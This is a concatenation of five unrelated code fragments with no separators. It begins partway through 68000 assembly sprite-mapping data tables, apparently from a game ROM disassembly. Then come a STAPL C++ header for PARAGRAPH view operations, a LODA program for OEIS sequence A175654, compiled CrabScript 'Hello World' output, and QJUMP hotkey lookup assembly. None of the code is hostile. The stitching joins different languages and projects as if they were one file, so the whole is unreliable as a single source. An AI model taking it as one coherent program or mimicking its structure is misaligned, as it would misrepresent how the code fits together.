ROM:00148EB8o dc.b $E9, 9, 0, 0, $FF, $F5 dc.b $F9, $C, 0, 6, $FF, $ED dc.b 1, 8, 0, $A, $FF, $ED dc.b 9, 5, 0, $D, $FF, $F5 word_149A66: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F8, $C, 0, 0, $FF, $F8 dc.b 0, 9, 0, 4, $FF, $F8 word_149A74: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F8, $D, 0, 0, $FF, $F8 dc.b 8, 8, 0, 8, $FF, $F8 word_149A82: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F8, $C, 0, 0, $FF, $F8 dc.b 0, 9, 0, 4, $FF, $F8 word_149A90: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F0 word_149A98: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F0 word_149AA0: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E9, 5, 0, 0, $FF, $F9 dc.b $F9, $B, 0, 4, $FF, $F1 word_149AAE: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E9, 5, 0, 0, $FF, $F9 dc.b $F9, $B, 0, 4, $FF, $F1 word_149ABC: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EE, 4, 0, 0, $FF, $F6 dc.b $F6, $E, 0, 2, $FF, $EE word_149ACA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 0, $FF, $F0 dc.b 0, $C, 0, 6, $FF, $F0 dc.b 8, 8, 0, $A, $FF, $F8 word_149ADE: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 0, $FF, $F0 dc.b 0, $C, 0, 6, $FF, $F0 dc.b 8, 8, 0, $A, $FF, $F8 word_149AF2: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E9, $B, 0, 0, $FF, $F5 dc.b 7, 4, 0, $C, $FF, $FD word_149B00: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E9, 9, 0, 0, $FF, $F5 dc.b $F9, $D, 0, 6, $FF, $F5 word_149B0E: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E9, 9, 0, 0, $FF, $F5 dc.b $F9, $D, 0, 6, $FF, $F5 word_149B1C: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $E9, $A, 0, 0, $FF, $F5 word_149B24: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $E9, $D, 0, 0, $FF, $F1 dc.b $EC, $B, 0, 8, $FF, $F4 dc.b $C, 8, 0, $14, $FF, $F4 word_149B38: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $E8, 9, 0, 0, $FF, $F5 dc.b $EC, $B, 0, 6, $FF, $F4 dc.b $C, 8, 0, $12, $FF, $F4 word_149B4C: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F0 word_149B54: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F0 word_149B5C: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F0 word_149B64: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F8, $A, 0, 0, $FF, $FA word_149B6C: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 8, 0, 0, $FF, $F2 dc.b $F8, $D, 0, 3, $FF, $EA dc.b 8, 4, 0, $B, $FF, $F2 word_149B80: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 0, $FF, $F1 dc.b 0, $C, 0, 6, $FF, $E9 dc.b 8, 8, 0, $A, $FF, $E9 word_149B94: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F1 word_149B9C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EE, 7, 0, 0, $FF, $E6 dc.b $F6, $A, 0, 8, $FF, $F6 word_149BAA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EE, 4, 0, 0, $FF, $EE dc.b $F6, $E, 0, 2, $FF, $E6 dc.b $F6, 2, 0, $E, 0, 6 word_149BBE: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F1, 8, 0, 0, $FF, $F6 dc.b $F9, $D, 0, 3, $FF, $EE dc.b 9, 8, 0, $B, $FF, $EE word_149BD2: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $ED, 8, 0, 0, $FF, $F3 dc.b $F5, $E, 0, 3, $FF, $EB word_149BE0: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $ED, 8, 0, 0, $FF, $F3 dc.b $F5, $E, 0, 3, $FF, $EB word_149BEE: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $ED, 8, 0, 0, $FF, $F3 dc.b $F5, $E, 0, 3, $FF, $EB word_149BFC: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $ED, 8, 0, 0, $FF, $F3 dc.b $F5, $E, 0, 3, $FF, $EB word_149C0A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $ED, 8, 0, 0, $FF, $F3 dc.b $F5, $E, 0, 3, $FF, $EB word_149C18: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149C20: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $E8, 0, 0, 0, $FF, $FE dc.b $F0, $D, 0, 1, $FF, $EE dc.b 0, $D, 0, 9, $FF, $E6 dc.b 8, 0, 0, $11, 0, 6 word_149C3A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $ED, $D, 0, 0, $FF, $F2 dc.b $FD, $A, 0, 8, $FF, $F2 word_149C48: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $ED, 8, 0, 0, $FF, $F2 dc.b $F5, $D, 0, 3, $FF, $F2 dc.b 5, 9, 0, $B, $FF, $F2 word_149C5C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $A, 0, 0, $FF, $F6 dc.b 8, $C, 0, 9, $FF, $EE word_149C6A: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F6 word_149C72: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F6 word_149C7A: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F6 word_149C82: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149C8A: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149C92: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149C9A: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149CA2: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149CAA: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149CB2: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149CBA: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $B, 0, 0, $FF, $F4 word_149CC2: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 0, 0, 0, 0, 0 dc.b $F8, $D, 0, 1, $FF, $E8 dc.b $F8, 5, 0, 9, 0, 8 word_149CD6: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $A, 0, 0, $FF, $FC dc.b $F8, 5, 0, 9, $FF, $EC word_149CE4: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 0, 0, $FF, $F0 word_149CEC: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $A, 8, 0, $FF, $EC dc.b $F8, 5, 8, 9, 0, 4 word_149CFA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 0, 8, 0, $FF, $F8 dc.b $F8, $D, 8, 1, $FF, $F8 dc.b $F8, 5, 8, 9, $FF, $E8 word_149D0E: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 4, 0, 0, $FF, $F4 dc.b $F8, $D, 0, 2, $FF, $EC dc.b $F8, 1, 0, $A, 0, $C word_149D22: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 0, $FF, $F0 dc.b 0, $C, 0, 6, $FF, $F0 word_149D30: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F0, 4, 8, 0, $FF, $FC dc.b $F8, $D, 8, 2, $FF, $F4 dc.b $F8, 1, 8, $A, $FF, $EC word_149D44: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F2, 1, 0, 0, $FF, $EA dc.b $F2, $E, 0, 2, $FF, $F2 dc.b $A, 8, 0, $E, $FF, $F2 word_149D58: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F2, $E, 0, 0, $FF, $F4 dc.b $F2, 1, 0, $C, $FF, $EC dc.b $A, 8, 0, $E, $FF, $F4 word_149D6C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F2, $F, 0, 0, $FF, $EE dc.b 2, 0, 0, $10, 0, $E word_149D7A: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F2, $D, 0, 0, $FF, $F2 dc.b $F2, 0, 0, 8, $FF, $EA dc.b 2, $D, 0, 9, $FF, $EA dc.b 2, 0, 0, $11, 0, $A word_149D94: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F2, $F, 0, 0, $FF, $ED dc.b $F2, 1, 0, $10, 0, $D word_149DA2: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $F5, $E, 0, 0, $FF, $F3 dc.b $F5, 2, 0, $C, $FF, $EB dc.b $ED, 4, 0, $F, $FF, $EB word_149DB6: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 8, $FF, $F8 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, $FF, $F0 dc.b $F0, 7, 0, 0, $FF, $EB word_149DD0: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 8, $FF, $F8 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, $FF, $F0 dc.b $F0, 7, 8, 0, $FF, $EB word_149DEA: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EC, 4, 0, 9, $FF, $F8 dc.b $F4, 9, 0, $B, $FF, $F0 dc.b 4, 5, 0, $11, $FF, $F8 dc.b $F8, $A, 0, 0, $FF, $E9 word_149E04: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EC, 4, 0, 9, $FF, $F8 dc.b $F4, 9, 0, $B, $FF, $F0 dc.b 4, 5, 0, $11, $FF, $F8 dc.b $F8, $A, 0, 0, $FF, $E9 word_149E1E: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 8, $FF, $F0 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, 0, 0 dc.b 5, $D, 0, 0, $FF, $F0 word_149E38: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F0, 9, 0, 8, $FF, $F0 dc.b 0, $C, 0, $E, $FF, $F0 dc.b 8, 4, 0, $12, 0, 0 dc.b 5, $D, 8, 0, $FF, $F0 word_149E52: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F8, $D, 0, 9, $FF, $EC dc.b $F8, 1, 0, $11, 0, $C dc.b 8, 4, 0, $13, $FF, $F4 dc.b $FF, $A, 8, 0, $FF, $F9 word_149E6C: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $F8, $D, 0, 9, $FF, $EC dc.b $F8, 1, 0, $11, 0, $C dc.b 8, 4, 0, $13, $FF, $F4 dc.b $FF, $A, 8, 0, $FF, $F9 word_149E86: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F8, $F, 0, 0, $FF, $F0 word_149E8E: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F8, $F, 0, 0, $FF, $F0 word_149E96: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $ED, 4, 0, 0, $FF, $EB dc.b $F5, $E, 0, 2, $FF, $F3 dc.b 5, 0, 0, $E, $FF, $EB word_149EAA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $ED, 4, 0, 0, $FF, $F3 dc.b $F5, $E, 0, 2, $FF, $F3 dc.b 5, 0, 0, $E, $FF, $EB word_149EBE: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E6, 4, 0, 0, $FF, $F4 dc.b $EE, $B, 0, 2, $FF, $F4 word_149ECC: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $E6, 4, 0, 0, $FF, $F4 dc.b $EE, $B, 0, 2, $FF, $F4 word_149EDA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, 9, 0, 0, $FF, $F0 dc.b $FC, $C, 0, 6, $FF, $F0 dc.b 4, 1, 0, $A, 0, 0 word_149EEE: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EF, 4, 0, 0, $FF, $F4 dc.b $F7, $A, 0, 2, $FF, $F4 word_149EFC: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, 4, 0, 0, $FF, $F6 dc.b $F4, $A, 0, 2, $FF, $F6 dc.b $C, 4, 0, $B, $FF, $FE word_149F10: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EC, $B, 0, 0, $FF, $F4 dc.b $C, 0, 0, $C, $FF, $FC word_149F1E: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EC, 8, 0, 0, $FF, $F2 dc.b $F4, $D, 0, 3, $FF, $F2 dc.b 4, 8, 0, $B, $FF, $FA dc.b $C, 0, 0, $E, $FF, $FA word_149F38: dc.w 4 ; DATA XREF: ROM:00148EB8o dc.b $EC, 8, 0, 0, $FF, $F6 dc.b $F4, $D, 0, 3, $FF, $EE dc.b 4, 8, 0, $B, $FF, $F6 dc.b $C, 4, 0, $E, $FF, $FE word_149F52: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, $A, 0, 0, $FF, $F4 dc.b 4, $C, 0, 9, $FF, $F4 dc.b $C, 8, 0, $D, $FF, $FC word_149F66: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EC, $A, 0, 0, $FF, $F4 dc.b 4, 5, 0, 9, $FF, $FC word_149F74: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, $A, 0, 0, $FF, $F5 dc.b 4, 0, 0, 9, $FF, $FD dc.b $C, 4, 0, $A, $FF, $FD word_149F88: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $EC, $B, 0, 0, $FF, $F4 dc.b $C, 4, 0, $C, $FF, $F4 word_149F96: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, 9, 0, 0, $FF, $F2 dc.b $FC, 5, 0, 6, $FF, $FA dc.b $C, 8, 0, $A, $FF, $F2 word_149FAA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, $A, 0, 0, $FF, $F5 dc.b 4, 0, 0, 9, $FF, $FD dc.b $C, 4, 0, $A, $FF, $FD word_149FBE: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F4, $A, 0, 0, $FF, $F4 word_149FC6: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, 8, 0, 0, $FF, $F0 dc.b $F4, $D, 0, 3, $FF, $F0 dc.b 4, 9, 0, $B, $FF, $F0 word_149FDA: dc.w 3 ; DATA XREF: ROM:00148EB8o dc.b $EC, 8, 0, 0, $FF, $F0 dc.b $F4, $D, 0, 3, $FF, $F0 dc.b 4, 9, 0, $B, $FF, $F0 word_149FEE: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 0, 0, $FF, $F0 dc.b 8, 4, 0, $C, $FF, $F0 word_149FFC: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 0, 0, $FF, $F0 dc.b 8, 8, 0, $C, $FF, $F0 word_14A00A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 0, 0, $FF, $F0 dc.b 8, 8, 0, $C, $FF, $F0 word_14A018: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F0 word_14A020: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 8, 0, $FF, $F0 dc.b 8, 8, 8, $C, $FF, $F8 word_14A02E: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 8, 0, $FF, $F0 dc.b 8, 8, 8, $C, $FF, $F8 word_14A03C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 8, 0, $FF, $F0 dc.b 8, 4, 8, $C, 0, 0 word_14A04A: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 0, 0, $FF, $F0 dc.b 8, 4, 0, $C, 0, 0 word_14A058: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 0, 0, $FF, $F0 dc.b 8, 8, 0, $C, $FF, $F8 word_14A066: dc.w 1 ; DATA XREF: ROM:00148EB8o dc.b $F0, $F, 0, 0, $FF, $F0 word_14A06E: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 8, 0, $FF, $F0 dc.b 8, 8, 8, $C, $FF, $F0 word_14A07C: dc.w 2 ; DATA XREF: ROM:00148EB8o dc.b $F0, $E, 8, 0, $FF, $F0 dc.b 8, 4, 8, $C, $FF, $F0
/* // Copyright (c) 2000-2009, Texas Engineering Experiment Station (TEES), a // component of the Texas A&M University System. // All rights reserved. // The information and source code contained herein is the exclusive // property of TEES and may not be disclosed, examined or reproduced // in whole or in part without explicit written authorization from TEES. */ #ifndef STAPL_PARAGRAPH_REQUIREMENTS_HPP #define STAPL_PARAGRAPH_REQUIREMENTS_HPP namespace stapl { namespace view_operations { ////////////////////////////////////////////////////////////////////// /// @brief Defines the operations expected by the PARAGRAPH during /// task creation. ////////////////////////////////////////////////////////////////////// template<typename Derived> class paragraph_required_operation { private: typedef typename view_traits<Derived>::value_type subview_type; typedef subview_type value_t; const Derived& derived() const { return static_cast<const Derived&>(*this); } public: typedef typename view_traits<Derived>::index_type cid_type; ////////////////////////////////////////////////////////////////////// /// @brief Returns the number of elements referenced by the view. /// @todo This method provides the same information as the @c size /// method and could be replaced with it. ////////////////////////////////////////////////////////////////////// size_t get_num_subviews() const { return derived().size(); } ////////////////////////////////////////////////////////////////////// /// @brief Returns the number of elements stored locally, referenced /// for the view. ////////////////////////////////////////////////////////////////////// size_t get_num_local_subviews() const { return derived().container().local_size(); } ////////////////////////////////////////////////////////////////////// /// @brief Returns the element associated with the position @c i. /// @todo To be removed, use operator[] instead of this method. ////////////////////////////////////////////////////////////////////// value_t get_subview(cid_type const& i) const { return derived().get_element(i); } ////////////////////////////////////////////////////////////////////// /// @brief Returns the global index of the given local @c index. ////////////////////////////////////////////////////////////////////// cid_type get_local_vid(cid_type const& index) const { return derived().container().get_local_vid(index); } }; // class paragraph_required_operation } // namespace view_operations } // namespace stapl #endif // STAPL_PARAGRAPH_REQUIREMENTS_HPP
; A175654: Eight bishops and one elephant on a 3 X 3 chessboard. G.f.: (1 - x - x^2)/(1 - 3*x - x^2 + 6*x^3). ; Submitted by Jon Maiga ; 1,2,6,14,36,86,210,500,1194,2822,6660,15638,36642,85604,199626,464630,1079892,2506550,5811762,13462484,31159914,72071654,166599972,384912086,888906306,2052031172,4735527306,10925175254,25198866036,58108609526,133973643090,308836342580,711831013674,1640487525062,3780275533380,8710328043158,20068334512482,46233678380324,106507401394506,245345875488950,565142957579412,1301730339860150,2998258724226162,6905648767062164,15904822986251754,36630565380460454,84362626525260132,194289507038730326 mov $1,2 mov $2,1 mov $4,3 lpb $0 sub $0,1 mov $3,$2 mul $2,2 add $3,$4 mul $3,3 mov $4,$1 add $1,$3 add $4,4 lpe mov $0,$4 div $0,3
;Generate by CrabScript v3.0 ;Compile Mode: 3 ;main {$D 277, 281} ::main:: {$N 'main', 'P', 0} {$N 'main', 'L', 0} FUNC <main> VAR #P, 0 VAR #L, 0 {$A True} ;Print('Hello World') {$D 288, 308} VAR #F, 5 TYPE #W, (S:01) ADDR #D, <@DATA.1> ;'Hello World' READ #V, #W, #D BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) SAVE #M, #W, #V ;Print[1]:Text TYPE #W, (V:01) CAPI [&000003] ;Print ::main.1.Text:: BASE #M, #F SEEK #M, $0001 ;Text TYPE #W, (S:04) DEL #M, #W FREE #F {$D 311, 312} ::main.@:: {$A False} INTR $0000 FREE #L FREE #P JMP <@CRABSCRIPT.@>
; HOTKEY Find ITEM V2.01  1988 Tony Tebby QJUMP ; first revision provides optional case independence section hotkey xdef hk_fitem ; find item (a1) name or char xdef hk_fitmu ; find item (a1) name or char (case) xdef hk_fitrm ; find item (a1) and remove xdef hk_fitmc ; find item d1 char xdef hk_fitrc ; find item d1 and remove xdef hk_fitmk ; find item d1 key (case optional) xref hk_cname xref cv_lctab include 'dev8_keys_k' include 'dev8_keys_err' include 'dev8_ee_hk_data' include 'dev8_mac_assert' ;+++ ; This routine finds a hotkey item given a pointer to a name or key string ; and removes references from the hotkey table and pointer list ; ; d1 r (word) hotkey ; d2 r (word) hotkey number (-ve if off) ; a1 cr hotkey item name / pointer to hotkey item ; a3 c p linkage block ; error returns 0 or err.fdnf ;--- hk_fitrm reglist reg d3/a0/a2/a4 movem.l reglist,-(sp) bsr.s hkf_itmu bra.s hkf_remv ;+++ ; This routine finds a hotkey item given a character ; and removes references from the hotkey table and pointer list ; ; d1 cr (word) hotkey ; d2 r (word) hotkey number (-ve if off) ; a1 r pointer to hotkey item ; a3 c p linkage block ; error returns 0 or err.fdnf ;--- hk_fitrc movem.l reglist,-(sp) bsr.s hkf_index hkf_remv bne.s hkf_exit clr.b (a2) ; clear key clr.l (a4) ; and pointer bra.s hkf_exit ;+++ ; This routine finds a hotkey item given a pointer to a name or key string ; Uppercase key is significant ; d1 r (word) hotkey ; d2 r (word) hotkey number (-ve if off) ; a1 cr hotkey item name / pointer to hotkey item ; a3 c p linkage block ; error returns 0 or err.fdnf ;--- hk_fitmu movem.l reglist,-(sp) bsr.s hkf_itmu bra.s hkf_exit ;+++ ; This routine finds a hotkey item given a pointer to a name or key string ; ; d1 r (word) hotkey ; d2 r (word) hotkey number (-ve if off) ; a1 cr hotkey item name / pointer to hotkey item ; a3 c p linkage block ; error returns 0 or err.fdnf ;--- hk_fitem movem.l reglist,-(sp) moveq #-1,d0 ; case insignificant bsr.s hkf_item hkf_exit movem.l (sp)+,reglist rts hkf_itmu moveq #0,d0 hkf_item move.l a1,a0 move.w (a1)+,d1 cmp.w #1,d1 ; one character? beq.s hkf_key ; ... just one moveq #0,d1 hkf_loop bsr.s hkf_index ; index table bne.s hkf_next ; ... next addq.l #hki_name,a1 jsr hk_cname ; and compare subq.l #hki_name,a1 beq.s hkfi_rts ; that's it hkf_next addq.b #1,d1 ; next bne.s hkf_loop moveq #err.fdnf,d0 ; not found hkfi_rts rts ;+++ ; This routine finds a hotkey item given a hotkey character ; ; d1 cr (word) hotkey ; d2 r (word) hotkey number (-ve if off, 0 not found) ; a1 r pointer to hotkey item ; a3 c p linkage block ; error returns 0 or err.fdnf ;--- hk_fitmc movem.l reglist,-(sp) bsr.s hkf_index bra.s hkf_exit ;+++ ; This routine finds a hotkey item given a hotkey keystroke ; ; d1 cr (word) hotkey (may be lower cased) ; d2 r (word) hotkey number (-ve if off, 0 not found) ; a1 r pointer to hotkey item ; a3 c p linkage block ; error returns 0 or err.fdnf ;--- hk_fitmk movem.l reglist,-(sp) bsr.s hkf_kyck bra.s hkf_exit hkf_key move.b (a1)+,d1 ; key character tst.b d0 ; case significant? beq.s hkf_index ; ... yes hkf_kyck and.w #$00ff,d1 bsr.s hkf_index ; try this case beq.s hkfi_rts ; ... OK lea cv_lctab,a2 ; try move.b (a2,d1.w),d1 ; ... lowercased page hkf_index lea hkd_tabl(a3),a2 ; index the table add.w d1,a2 move.b (a2),d2 ext.w d2 ; a word move.w d2,d0 beq.s hkf_nf ; ... not set bgt.s hkf_pitem ; ... ok neg.w d0 ; ... off hkf_pitem lsl.w #2,d0 ; index the pointers lea hkd_ptrb-4(a3),a4 add.w d0,a4 move.l (a4),a1 ; pointer to item cmp.w #hki.id,hki_id(a1) ; is it item? bne.s hkf_nf moveq #0,d0 rts hkf_nf moveq #err.fdnf,d0 rts end